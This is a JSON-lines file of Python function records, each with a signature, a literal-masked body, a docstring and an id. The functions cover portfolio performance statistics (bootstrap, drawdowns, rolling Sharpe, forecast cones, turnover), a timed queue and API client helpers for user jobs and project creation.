{"signature": "def perf_stats_bootstrap(returns, factor_returns=None, return_stats=True,<EOL>**kwargs):", "body": "bootstrap_values = OrderedDict()<EOL>for stat_func in SIMPLE_STAT_FUNCS:<EOL><INDENT>stat_name = STAT_FUNC_NAMES[stat_func.__name__]<EOL>bootstrap_values[stat_name] = calc_bootstrap(stat_func,<EOL>returns)<EOL><DEDENT>if factor_returns is not None:<EOL><INDENT>for stat_func in FACTOR_STAT_FUNCS:<EOL><INDENT>stat_name = STAT_FUNC_NAMES[stat_func.__name__]<EOL>bootstrap_values[stat_name] = calc_bootstrap(<EOL>stat_func,<EOL>returns,<EOL>factor_returns=factor_returns)<EOL><DEDENT><DEDENT>bootstrap_values = pd.DataFrame(bootstrap_values)<EOL>if return_stats:<EOL><INDENT>stats = bootstrap_values.apply(calc_distribution_stats)<EOL>return stats.T[['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>return bootstrap_values<EOL><DEDENT>", "docstring": "Calculates various bootstrapped performance metrics of a strategy.\n\n    Parameters\n    ----------\n    returns : pd.Series\n        Daily returns of the strategy, noncumulative.\n         - See full explanation in tears.create_full_tear_sheet.\n    factor_returns : pd.Series, optional\n        Daily noncumulative returns of the benchmark factor to which betas are\n        computed. Usually a benchmark such as market returns.\n         - This is in the same style as returns.\n         - If None, do not compute alpha, beta, and information ratio.\n    return_stats : boolean (optional)\n        If True, returns a DataFrame of mean, median, 5 and 95 percentiles\n        for each perf metric.\n        If False, returns a DataFrame with the bootstrap samples for\n        each perf metric.\n\n    Returns\n    -------\n    pd.DataFrame\n        if return_stats is True:\n        - Distributional statistics of bootstrapped sampling\n        distribution of performance metrics.\n        if return_stats is False:\n        - Bootstrap samples for each performance metric.", "id": "f12221:m23"}
{"signature": "def calc_bootstrap(func, returns, *args, **kwargs):", "body": "n_samples = kwargs.pop('<STR_LIT>', <NUM_LIT:1000>)<EOL>out = np.empty(n_samples)<EOL>factor_returns = kwargs.pop('<STR_LIT>', None)<EOL>for i in range(n_samples):<EOL><INDENT>idx = np.random.randint(len(returns), size=len(returns))<EOL>returns_i = returns.iloc[idx].reset_index(drop=True)<EOL>if factor_returns is not None:<EOL><INDENT>factor_returns_i = factor_returns.iloc[idx].reset_index(drop=True)<EOL>out[i] = func(returns_i, factor_returns_i,<EOL>*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>out[i] = func(returns_i,<EOL>*args, **kwargs)<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Performs a bootstrap analysis on a user-defined function returning\n    a summary statistic.\n\n    Parameters\n    ----------\n    func : function\n        Function that either takes a single array (commonly returns)\n        or two arrays (commonly returns and factor returns) and\n        returns a single value (commonly a summary\n        statistic). Additional args and kwargs are passed as well.\n    returns : pd.Series\n        Daily returns of the strategy, noncumulative.\n         - See full explanation in tears.create_full_tear_sheet.\n    factor_returns : pd.Series, optional\n        Daily noncumulative returns of the benchmark factor to which betas are\n        computed. Usually a benchmark such as market returns.\n         - This is in the same style as returns.\n    n_samples : int, optional\n        Number of bootstrap samples to draw. Default is 1000.\n        Increasing this will lead to more stable / accurate estimates.\n\n    Returns\n    -------\n    numpy.ndarray\n        Bootstrapped sampling distribution of passed in func.", "id": "f12221:m24"}
{"signature": "def calc_distribution_stats(x):", "body": "return pd.Series({'<STR_LIT>': np.mean(x),<EOL>'<STR_LIT>': np.median(x),<EOL>'<STR_LIT>': np.std(x),<EOL>'<STR_LIT>': np.percentile(x, <NUM_LIT:5>),<EOL>'<STR_LIT>': np.percentile(x, <NUM_LIT>),<EOL>'<STR_LIT>': np.percentile(x, <NUM_LIT>),<EOL>'<STR_LIT>': np.percentile(x, <NUM_LIT>),<EOL>'<STR_LIT>': np.subtract.reduce(<EOL>np.percentile(x, [<NUM_LIT>, <NUM_LIT>])),<EOL>})<EOL>", "docstring": "Calculate various summary statistics of data.\n\n    Parameters\n    ----------\n    x : numpy.ndarray or pandas.Series\n        Array to compute summary statistics for.\n\n    Returns\n    -------\n    pandas.Series\n        Series containing mean, median, std, as well as 5, 25, 75 and\n        95 percentiles of passed in values.", "id": "f12221:m25"}
{"signature": "def get_max_drawdown_underwater(underwater):", "body": "valley = np.argmin(underwater)  <EOL>peak = underwater[:valley][underwater[:valley] == <NUM_LIT:0>].index[-<NUM_LIT:1>]<EOL>try:<EOL><INDENT>recovery = underwater[valley:][underwater[valley:] == <NUM_LIT:0>].index[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>recovery = np.nan  <EOL><DEDENT>return peak, valley, recovery<EOL>", "docstring": "Determines peak, valley, and recovery dates given an 'underwater'\nDataFrame.\n\nAn underwater DataFrame is a DataFrame that has precomputed\nrolling drawdown.\n\nParameters\n----------\nunderwater : pd.Series\n   Underwater returns (rolling drawdown) of a strategy.\n\nReturns\n-------\npeak : datetime\n    The maximum drawdown's peak.\nvalley : datetime\n    The maximum drawdown's valley.\nrecovery : datetime\n    The maximum drawdown's recovery.", "id": "f12221:m26"}
{"signature": "def get_max_drawdown(returns):", "body": "returns = returns.copy()<EOL>df_cum = cum_returns(returns, <NUM_LIT:1.0>)<EOL>running_max = np.maximum.accumulate(df_cum)<EOL>underwater = df_cum / running_max - <NUM_LIT:1><EOL>return get_max_drawdown_underwater(underwater)<EOL>", "docstring": "Determines the maximum drawdown of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\n\nReturns\n-------\nfloat\n    Maximum drawdown.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Drawdown_(economics) for more details.", "id": "f12221:m27"}
{"signature": "def get_top_drawdowns(returns, top=<NUM_LIT:10>):", "body": "returns = returns.copy()<EOL>df_cum = ep.cum_returns(returns, <NUM_LIT:1.0>)<EOL>running_max = np.maximum.accumulate(df_cum)<EOL>underwater = df_cum / running_max - <NUM_LIT:1><EOL>drawdowns = []<EOL>for t in range(top):<EOL><INDENT>peak, valley, recovery = get_max_drawdown_underwater(underwater)<EOL>if not pd.isnull(recovery):<EOL><INDENT>underwater.drop(underwater[peak: recovery].index[<NUM_LIT:1>:-<NUM_LIT:1>],<EOL>inplace=True)<EOL><DEDENT>else:<EOL><INDENT>underwater = underwater.loc[:peak]<EOL><DEDENT>drawdowns.append((peak, valley, recovery))<EOL>if (len(returns) == <NUM_LIT:0>) or (len(underwater) == <NUM_LIT:0>):<EOL><INDENT>break<EOL><DEDENT><DEDENT>return drawdowns<EOL>", "docstring": "Finds top drawdowns, sorted by drawdown amount.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\ntop : int, optional\n    The amount of top drawdowns to find (default 10).\n\nReturns\n-------\ndrawdowns : list\n    List of drawdown peaks, valleys, and recoveries. See get_max_drawdown.", "id": "f12221:m28"}
{"signature": "def gen_drawdown_table(returns, top=<NUM_LIT:10>):", "body": "df_cum = ep.cum_returns(returns, <NUM_LIT:1.0>)<EOL>drawdown_periods = get_top_drawdowns(returns, top=top)<EOL>df_drawdowns = pd.DataFrame(index=list(range(top)),<EOL>columns=['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>for i, (peak, valley, recovery) in enumerate(drawdown_periods):<EOL><INDENT>if pd.isnull(recovery):<EOL><INDENT>df_drawdowns.loc[i, '<STR_LIT>'] = np.nan<EOL><DEDENT>else:<EOL><INDENT>df_drawdowns.loc[i, '<STR_LIT>'] = len(pd.date_range(peak,<EOL>recovery,<EOL>freq='<STR_LIT:B>'))<EOL><DEDENT>df_drawdowns.loc[i, '<STR_LIT>'] = (peak.to_pydatetime()<EOL>.strftime('<STR_LIT>'))<EOL>df_drawdowns.loc[i, '<STR_LIT>'] = (valley.to_pydatetime()<EOL>.strftime('<STR_LIT>'))<EOL>if isinstance(recovery, float):<EOL><INDENT>df_drawdowns.loc[i, '<STR_LIT>'] = recovery<EOL><DEDENT>else:<EOL><INDENT>df_drawdowns.loc[i, '<STR_LIT>'] = (recovery.to_pydatetime()<EOL>.strftime('<STR_LIT>'))<EOL><DEDENT>df_drawdowns.loc[i, '<STR_LIT>'] = (<EOL>(df_cum.loc[peak] - df_cum.loc[valley]) / df_cum.loc[peak]) * <NUM_LIT:100><EOL><DEDENT>df_drawdowns['<STR_LIT>'] = pd.to_datetime(df_drawdowns['<STR_LIT>'])<EOL>df_drawdowns['<STR_LIT>'] = pd.to_datetime(df_drawdowns['<STR_LIT>'])<EOL>df_drawdowns['<STR_LIT>'] = pd.to_datetime(<EOL>df_drawdowns['<STR_LIT>'])<EOL>return df_drawdowns<EOL>", "docstring": "Places top drawdowns in a table.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\ntop : int, optional\n    The amount of top drawdowns to find (default 10).\n\nReturns\n-------\ndf_drawdowns : pd.DataFrame\n    Information about top drawdowns.", "id": "f12221:m29"}
{"signature": "def rolling_volatility(returns, rolling_vol_window):", "body": "return returns.rolling(rolling_vol_window).std()* np.sqrt(APPROX_BDAYS_PER_YEAR)<EOL>", "docstring": "Determines the rolling volatility of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nrolling_vol_window : int\n    Length of rolling window, in days, over which to compute.\n\nReturns\n-------\npd.Series\n    Rolling volatility.", "id": "f12221:m30"}
{"signature": "def rolling_sharpe(returns, rolling_sharpe_window):", "body": "return returns.rolling(rolling_sharpe_window).mean()/ returns.rolling(rolling_sharpe_window).std()* np.sqrt(APPROX_BDAYS_PER_YEAR)<EOL>", "docstring": "Determines the rolling Sharpe ratio of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nrolling_sharpe_window : int\n    Length of rolling window, in days, over which to compute.\n\nReturns\n-------\npd.Series\n    Rolling Sharpe ratio.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Sharpe_ratio for more details.", "id": "f12221:m31"}
{"signature": "def simulate_paths(is_returns, num_days,<EOL>starting_value=<NUM_LIT:1>, num_samples=<NUM_LIT:1000>, random_seed=None):", "body": "samples = np.empty((num_samples, num_days))<EOL>seed = np.random.RandomState(seed=random_seed)<EOL>for i in range(num_samples):<EOL><INDENT>samples[i, :] = is_returns.sample(num_days, replace=True,<EOL>random_state=seed)<EOL><DEDENT>return samples<EOL>", "docstring": "Gnerate alternate paths using available values from in-sample returns.\n\nParameters\n----------\nis_returns : pandas.core.frame.DataFrame\n    Non-cumulative in-sample returns.\nnum_days : int\n    Number of days to project the probability cone forward.\nstarting_value : int or float\n    Starting value of the out of sample period.\nnum_samples : int\n    Number of samples to draw from the in-sample daily returns.\n    Each sample will be an array with length num_days.\n    A higher number of samples will generate a more accurate\n    bootstrap cone.\nrandom_seed : int\n    Seed for the pseudorandom number generator used by the pandas\n    sample method.\n\nReturns\n-------\nsamples : numpy.ndarray", "id": "f12221:m32"}
{"signature": "def summarize_paths(samples, cone_std=(<NUM_LIT:1.>, <NUM_LIT>, <NUM_LIT>), starting_value=<NUM_LIT:1.>):", "body": "cum_samples = ep.cum_returns(samples.T,<EOL>starting_value=starting_value).T<EOL>cum_mean = cum_samples.mean(axis=<NUM_LIT:0>)<EOL>cum_std = cum_samples.std(axis=<NUM_LIT:0>)<EOL>if isinstance(cone_std, (float, int)):<EOL><INDENT>cone_std = [cone_std]<EOL><DEDENT>cone_bounds = pd.DataFrame(columns=pd.Float64Index([]))<EOL>for num_std in cone_std:<EOL><INDENT>cone_bounds.loc[:, float(num_std)] = cum_mean + cum_std * num_std<EOL>cone_bounds.loc[:, float(-num_std)] = cum_mean - cum_std * num_std<EOL><DEDENT>return cone_bounds<EOL>", "docstring": "Gnerate the upper and lower bounds of an n standard deviation\ncone of forecasted cumulative returns.\n\nParameters\n----------\nsamples : numpy.ndarray\n    Alternative paths, or series of possible outcomes.\ncone_std : list of int/float\n    Number of standard devations to use in the boundaries of\n    the cone. If multiple values are passed, cone bounds will\n    be generated for each value.\n\nReturns\n-------\nsamples : pandas.core.frame.DataFrame", "id": "f12221:m33"}
{"signature": "def forecast_cone_bootstrap(is_returns, num_days, cone_std=(<NUM_LIT:1.>, <NUM_LIT>, <NUM_LIT>),<EOL>starting_value=<NUM_LIT:1>, num_samples=<NUM_LIT:1000>,<EOL>random_seed=None):", "body": "samples = simulate_paths(<EOL>is_returns=is_returns,<EOL>num_days=num_days,<EOL>starting_value=starting_value,<EOL>num_samples=num_samples,<EOL>random_seed=random_seed<EOL>)<EOL>cone_bounds = summarize_paths(<EOL>samples=samples,<EOL>cone_std=cone_std,<EOL>starting_value=starting_value<EOL>)<EOL>return cone_bounds<EOL>", "docstring": "Determines the upper and lower bounds of an n standard deviation\ncone of forecasted cumulative returns. Future cumulative mean and\nstandard devation are computed by repeatedly sampling from the\nin-sample daily returns (i.e. bootstrap). This cone is non-parametric,\nmeaning it does not assume that returns are normally distributed.\n\nParameters\n----------\nis_returns : pd.Series\n    In-sample daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nnum_days : int\n    Number of days to project the probability cone forward.\ncone_std : int, float, or list of int/float\n    Number of standard devations to use in the boundaries of\n    the cone. If multiple values are passed, cone bounds will\n    be generated for each value.\nstarting_value : int or float\n    Starting value of the out of sample period.\nnum_samples : int\n    Number of samples to draw from the in-sample daily returns.\n    Each sample will be an array with length num_days.\n    A higher number of samples will generate a more accurate\n    bootstrap cone.\nrandom_seed : int\n    Seed for the pseudorandom number generator used by the pandas\n    sample method.\n\nReturns\n-------\npd.DataFrame\n    Contains upper and lower cone boundaries. Column names are\n    strings corresponding to the number of standard devations\n    above (positive) or below (negative) the projected mean\n    cumulative returns.", "id": "f12221:m34"}
{"signature": "def extract_interesting_date_ranges(returns):", "body": "returns_dupe = returns.copy()<EOL>returns_dupe.index = returns_dupe.index.map(pd.Timestamp)<EOL>ranges = OrderedDict()<EOL>for name, (start, end) in PERIODS.items():<EOL><INDENT>try:<EOL><INDENT>period = returns_dupe.loc[start:end]<EOL>if len(period) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>ranges[name] = period<EOL><DEDENT>except BaseException:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>return ranges<EOL>", "docstring": "Extracts returns based on interesting events. See\ngen_date_range_interesting.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\n\nReturns\n-------\nranges : OrderedDict\n    Date ranges, with returns, of all valid events.", "id": "f12221:m35"}
{"signature": "def deprecated(msg=None, stacklevel=<NUM_LIT:2>):", "body": "def deprecated_dec(fn):<EOL><INDENT>@wraps(fn)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>warnings.warn(<EOL>msg or \"<STR_LIT>\" % fn.__name__,<EOL>category=DeprecationWarning,<EOL>stacklevel=stacklevel<EOL>)<EOL>return fn(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return deprecated_dec<EOL>", "docstring": "Used to mark a function as deprecated.\nParameters\n----------\nmsg : str\n    The message to display in the deprecation warning.\nstacklevel : int\n    How far up the stack the warning needs to go, before\n    showing the relevant calling lines.\nUsage\n-----\n@deprecated(msg='function_a is deprecated! Use function_b instead.')\ndef function_a(*args, **kwargs):", "id": "f12222:m0"}
{"signature": "def map_transaction(txn):", "body": "if isinstance(txn['<STR_LIT>'], dict):<EOL><INDENT>sid = txn['<STR_LIT>']['<STR_LIT>']<EOL>symbol = txn['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>sid = txn['<STR_LIT>']<EOL>symbol = txn['<STR_LIT>']<EOL><DEDENT>return {'<STR_LIT>': sid,<EOL>'<STR_LIT>': symbol,<EOL>'<STR_LIT>': txn['<STR_LIT>'],<EOL>'<STR_LIT>': txn['<STR_LIT>'],<EOL>'<STR_LIT>': txn['<STR_LIT>'],<EOL>'<STR_LIT>': txn['<STR_LIT>'],<EOL>'<STR_LIT>': txn['<STR_LIT>']}<EOL>", "docstring": "Maps a single transaction row to a dictionary.\n\nParameters\n----------\ntxn : pd.DataFrame\n    A single transaction object to convert to a dictionary.\n\nReturns\n-------\ndict\n    Mapped transaction.", "id": "f12223:m0"}
{"signature": "def make_transaction_frame(transactions):", "body": "transaction_list = []<EOL>for dt in transactions.index:<EOL><INDENT>txns = transactions.loc[dt]<EOL>if len(txns) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>for txn in txns:<EOL><INDENT>txn = map_transaction(txn)<EOL>transaction_list.append(txn)<EOL><DEDENT><DEDENT>df = pd.DataFrame(sorted(transaction_list, key=lambda x: x['<STR_LIT>']))<EOL>df['<STR_LIT>'] = -df['<STR_LIT>'] * df['<STR_LIT>']<EOL>df.index = list(map(pd.Timestamp, df.dt.values))<EOL>return df<EOL>", "docstring": "Formats a transaction DataFrame.\n\nParameters\n----------\ntransactions : pd.DataFrame\n    Contains improperly formatted transactional data.\n\nReturns\n-------\ndf : pd.DataFrame\n    Daily transaction volume and dollar ammount.\n     - See full explanation in tears.create_full_tear_sheet.", "id": "f12223:m1"}
{"signature": "def get_txn_vol(transactions):", "body": "txn_norm = transactions.copy()<EOL>txn_norm.index = txn_norm.index.normalize()<EOL>amounts = txn_norm.amount.abs()<EOL>prices = txn_norm.price<EOL>values = amounts * prices<EOL>daily_amounts = amounts.groupby(amounts.index).sum()<EOL>daily_values = values.groupby(values.index).sum()<EOL>daily_amounts.name = \"<STR_LIT>\"<EOL>daily_values.name = \"<STR_LIT>\"<EOL>return pd.concat([daily_values, daily_amounts], axis=<NUM_LIT:1>)<EOL>", "docstring": "Extract daily transaction data from set of transaction objects.\n\nParameters\n----------\ntransactions : pd.DataFrame\n    Time series containing one row per symbol (and potentially\n    duplicate datetime indices) and columns for amount and\n    price.\n\nReturns\n-------\npd.DataFrame\n    Daily transaction volume and number of shares.\n     - See full explanation in tears.create_full_tear_sheet.", "id": "f12223:m2"}
{"signature": "def adjust_returns_for_slippage(returns, positions, transactions,<EOL>slippage_bps):", "body": "slippage = <NUM_LIT> * slippage_bps<EOL>portfolio_value = positions.sum(axis=<NUM_LIT:1>)<EOL>pnl = portfolio_value * returns<EOL>traded_value = get_txn_vol(transactions).txn_volume<EOL>slippage_dollars = traded_value * slippage<EOL>adjusted_pnl = pnl.add(-slippage_dollars, fill_value=<NUM_LIT:0>)<EOL>adjusted_returns = returns * adjusted_pnl / pnl<EOL>return adjusted_returns<EOL>", "docstring": "Apply a slippage penalty for every dollar traded.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\nslippage_bps: int/float\n    Basis points of slippage to apply.\n\nReturns\n-------\npd.Series\n    Time series of daily returns, adjusted for slippage.", "id": "f12223:m3"}
{"signature": "def get_turnover(positions, transactions, denominator='<STR_LIT>'):", "body": "txn_vol = get_txn_vol(transactions)<EOL>traded_value = txn_vol.txn_volume<EOL>if denominator == '<STR_LIT>':<EOL><INDENT>AGB = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>).abs().sum(axis=<NUM_LIT:1>)<EOL>denom = AGB.rolling(<NUM_LIT:2>).mean()<EOL>denom.iloc[<NUM_LIT:0>] = AGB.iloc[<NUM_LIT:0>] / <NUM_LIT:2><EOL><DEDENT>elif denominator == '<STR_LIT>':<EOL><INDENT>denom = positions.sum(axis=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(denominator)<EOL>)<EOL><DEDENT>denom.index = denom.index.normalize()<EOL>turnover = traded_value.div(denom, axis='<STR_LIT:index>')<EOL>turnover = turnover.fillna(<NUM_LIT:0>)<EOL>return turnover<EOL>", "docstring": "- Value of purchases and sales divided\nby either the actual gross book or the portfolio value\nfor the time step.\n\nParameters\n----------\npositions : pd.DataFrame\n    Contains daily position values including cash.\n    - See full explanation in tears.create_full_tear_sheet\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n    - See full explanation in tears.create_full_tear_sheet\ndenominator : str, optional\n    Either 'AGB' or 'portfolio_value', default AGB.\n    - AGB (Actual gross book) is the gross market\n    value (GMV) of the specific algo being analyzed.\n    Swapping out an entire portfolio of stocks for\n    another will yield 200% turnover, not 100%, since\n    transactions are being made for both sides.\n    - We use average of the previous and the current end-of-period\n    AGB to avoid singularities when trading only into or\n    out of an entire book in one trading period.\n    - portfolio_value is the total value of the algo's\n    positions end-of-period, including cash.\n\nReturns\n-------\nturnover_rate : pd.Series\n    timeseries of portfolio turnover rates.", "id": "f12223:m4"}
{"signature": "def ask(self):", "body": "with self.mutex:<EOL><INDENT>if not len(self.queue): <EOL><INDENT>raise Empty<EOL><DEDENT>utcnow = dt.datetime.utcnow()<EOL>if self.queue[<NUM_LIT:0>][<NUM_LIT:0>] <= utcnow:<EOL><INDENT>self.ready.notify()<EOL>return <NUM_LIT:0><EOL><DEDENT>return (self.queue[<NUM_LIT:0>][<NUM_LIT:0>] - utcnow).total_seconds()<EOL><DEDENT>", "docstring": "Return the wait time in seconds required to retrieve the\nitem currently at the head of the queue.\n\nNote that there is no guarantee that a call to `get()` will\nsucceed even if `ask()` returns 0. By the time the calling\nthread reacts, other threads may have caused a different\nitem to be at the head of the queue.", "id": "f12227:c3:m1"}
{"signature": "def qsize(self):", "body": "with self.mutex:<EOL><INDENT>return len(self.queue)<EOL><DEDENT>", "docstring": "Return the approximate size of the queue.\n\nThe answer will not be reliable, as producers and consumers\ncan change the queue size before the result can be used.", "id": "f12227:c3:m4"}
{"signature": "def get_self(session, user_details=None):", "body": "<EOL>if user_details:<EOL><INDENT>user_details['<STR_LIT>'] = True<EOL><DEDENT>response = make_get_request(session, '<STR_LIT>', params_data=user_details)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise SelfNotRetrievedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get details about the currently authenticated user", "id": "f12288:m0"}
{"signature": "def get_user_by_id(session, user_id, user_details=None):", "body": "if user_details:<EOL><INDENT>user_details['<STR_LIT>'] = True<EOL><DEDENT>response = make_get_request(<EOL>session, '<STR_LIT>'.format(user_id), params_data=user_details)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise UserNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get details about specific user", "id": "f12288:m1"}
{"signature": "def get_self_user_id(session):", "body": "response = make_get_request(session, '<STR_LIT>')<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return response.json()['<STR_LIT:result>']['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>raise UserIdNotRetrievedException(<EOL>'<STR_LIT>' % response.text, response.text)<EOL><DEDENT>", "docstring": "Get the currently authenticated user ID", "id": "f12288:m2"}
{"signature": "def add_user_jobs(session, job_ids):", "body": "jobs_data = {<EOL>'<STR_LIT>': job_ids<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', json_data=jobs_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise UserJobsNotAddedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Add a list of jobs to the currently authenticated user", "id": "f12288:m3"}
{"signature": "def set_user_jobs(session, job_ids):", "body": "jobs_data = {<EOL>'<STR_LIT>': job_ids<EOL>}<EOL>response = make_put_request(session, '<STR_LIT>', json_data=jobs_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise UserJobsNotSetException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Replace the currently authenticated user's list of jobs with a new list of\njobs", "id": "f12288:m4"}
{"signature": "def delete_user_jobs(session, job_ids):", "body": "jobs_data = {<EOL>'<STR_LIT>': job_ids<EOL>}<EOL>response = make_delete_request(session, '<STR_LIT>', json_data=jobs_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise UserJobsNotDeletedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Remove a list of jobs from the currently authenticated user", "id": "f12288:m5"}
{"signature": "def get_users(session, query):", "body": "<EOL>response = make_get_request(session, '<STR_LIT>', params_data=query)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise UsersNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Get one or more users", "id": "f12288:m6"}
{"signature": "def create_project(session, title, description,<EOL>currency, budget, jobs):", "body": "project_data = {'<STR_LIT:title>': title,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': currency,<EOL>'<STR_LIT>': budget,<EOL>'<STR_LIT>': jobs<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', json_data=project_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>project_data = json_data['<STR_LIT:result>']<EOL>p = Project(project_data)<EOL>p.url = urljoin(session.url, '<STR_LIT>' % p.seo_url)<EOL>return p<EOL><DEDENT>else:<EOL><INDENT>raise ProjectNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'],<EOL>)<EOL><DEDENT>", "docstring": "Create a project", "id": "f12290:m0"}
{"signature": "def create_hourly_project(session, title, description,<EOL>currency, budget, jobs, hourly_project_info):", "body": "project_data = {'<STR_LIT:title>': title,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': currency,<EOL>'<STR_LIT>': budget,<EOL>'<STR_LIT>': jobs,<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': hourly_project_info<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', json_data=project_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>project_data = json_data['<STR_LIT:result>']<EOL>p = Project(project_data)<EOL>p.url = urljoin(session.url, '<STR_LIT>' % p.seo_url)<EOL>return p<EOL><DEDENT>else:<EOL><INDENT>raise ProjectNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'],<EOL>)<EOL><DEDENT>", "docstring": "Create a fixed project", "id": "f12290:m1"}
{"signature": "def create_local_project(session, title, description,<EOL>currency, budget, jobs, location):", "body": "project_data = {'<STR_LIT:title>': title,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': currency,<EOL>'<STR_LIT>': budget,<EOL>'<STR_LIT>': jobs,<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT:location>': location<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', json_data=project_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>project_data = json_data['<STR_LIT:result>']<EOL>p = Project(project_data)<EOL>p.url = urljoin(session.url, '<STR_LIT>' % p.seo_url)<EOL>return p<EOL><DEDENT>else:<EOL><INDENT>raise ProjectNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'],<EOL>)<EOL><DEDENT>", "docstring": "Create a fixed project", "id": "f12290:m2"}
